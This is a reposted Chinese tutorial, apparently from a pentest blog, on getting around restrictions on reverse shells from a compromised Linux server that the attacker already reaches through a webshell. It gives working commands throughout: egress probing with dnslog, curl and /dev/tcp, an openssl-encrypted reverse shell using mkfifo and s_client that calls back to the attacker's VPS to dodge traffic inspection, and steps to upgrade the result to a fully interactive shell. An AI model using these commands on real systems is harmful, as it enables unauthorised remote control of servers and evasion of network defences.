反彈shell受限情況下的倔強


0x00前言

有時候獲取到目標webshell但是想要進一步反彈獲取全交互式shell,來對目標服務器進行命令操作,然而經常遇到直接反彈shell不成;

此文將針對linux反彈shell受阻的原因、排查順序流程,以及可突破的限制,到最后獲取全交互式shell的整個流程來梳理。

假如使用bash反彈不成功:

0x01原因一:命令不存在

我們先來看哪些反彈命令是可用的,哪些命令存在:

whereis nc bash python php exec perl ruby java telnet lua

 

 

 可以發現bash命令是可用的,只有ruby和lua相關命令不可用;

如果這里bash不可用,那么換種可用的命令反彈即可。然而bash可用不成功,那么繼續分析。

0x02原因二:是否通外網

直接用ping命令探測即可,配合dnslog或者直接看回顯情況:

申請個隨機域名:

 

目標使用ping命令:

 

ping -c 1 v8nwzi.dnslog.cn

 

 

 

 

 

 這樣表示通外網,允許出口流量;但是反彈還是受阻,繼續分析。

0x03原因三:目標出站端口受限

目標服務器網絡邊緣部署了防火牆,設置了出站規則,給出站的端口設置了白名單。

這里只要端口屬於白名單內的即可,一般的話,DNS 的 53、HTTP 服務的默認端口 80、HTTPS 的 443 是三個最常見的出站端口,一般最有可能在白名單內,可一一嘗試。

當然如果白名單設置得很死,都不是常用端口的話,我們就得使用目標系統自帶的curl、telnet、wget等命令來進行出站端口探測。

例如 curl www.baidu.com:80

 

 

 有正確回顯代表可通80,沒有或者等待超時代表不通80端口。當然這得用自己的vps來捆綁開放大量端口來方便檢測。

例如vps開放1234端口,目標服務器使用端口探測探測此端口失敗,那么表示不出1234端口,如果探測成功,表示可出1234端口,即可用1234端口來進行反彈shell。

當然真實情況可能遇到目標權限低,且curl、telnet、wget等這幾個可探測端口的命令都沒有,那么可以使用如下命令來探測:

echo > /dev/tcp/www.baidu.com/80

如果瞬間執行完成代表可出80,如果執行后一直等待,那么代表不出80.

這里測試了一下,我的目標機用443 bash反彈成功,但是連接一會兒執行命令馬上就斷了,應該就是流量審查的原因了,繼續分析。

0x04原因四:目標存在流量審查機制

有些服務器存在流量審查機制,就算反彈成功了,馬上就會掉線;一般審查到的都是明文流量數據,那么只要將反彈流量用openssl加密,即可防止流量檢測。

1、在vps上生成ssl證書的公鑰/私鑰對:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

 

 到了選擇直接全部回車。

2、vps使用openssl監聽一個接收shell的端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

3、目標上用openssl加密反彈shell的流量:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xx.xx.xx:443 > /tmp/s; rm /tmp/s

vps的ip為:47.xx.xx.xx

此時vps即可接收到加密的半交互式shell(啞shell)

0x05轉換為全交互式shell

啞shell,ctrl-c 中斷 getshell 會話、無法查看語法高亮、無法執行交互式命令、無法查看錯誤輸出、無法使用 tab 命令補全、無法操控 job、無法查看命令歷史。

轉為全交互式shell:

1、在啞shell中執行:

$ python -c 'import pty; pty.spawn("/bin/bash")'

2、鍵入 Ctrl-Z,回到 VPS 的命令行中;在 VPS 中執行:

$ stty raw -echo
$ fg (不會顯示,敲了直接一直回車)

此時已經為交互式shell了,但是有的shell顯示有問題,如果沒問題可不進行以下步驟。

3、回到啞 shell 中,在啞 shell 中鍵入 Ctrl-L,執行:

$ reset (敲命令不顯示就直接敲了回車)
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104

這樣就得到了功能齊全的交互式shell 了。

參考鏈接:

https://www.freebuf.com/vuls/211847.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM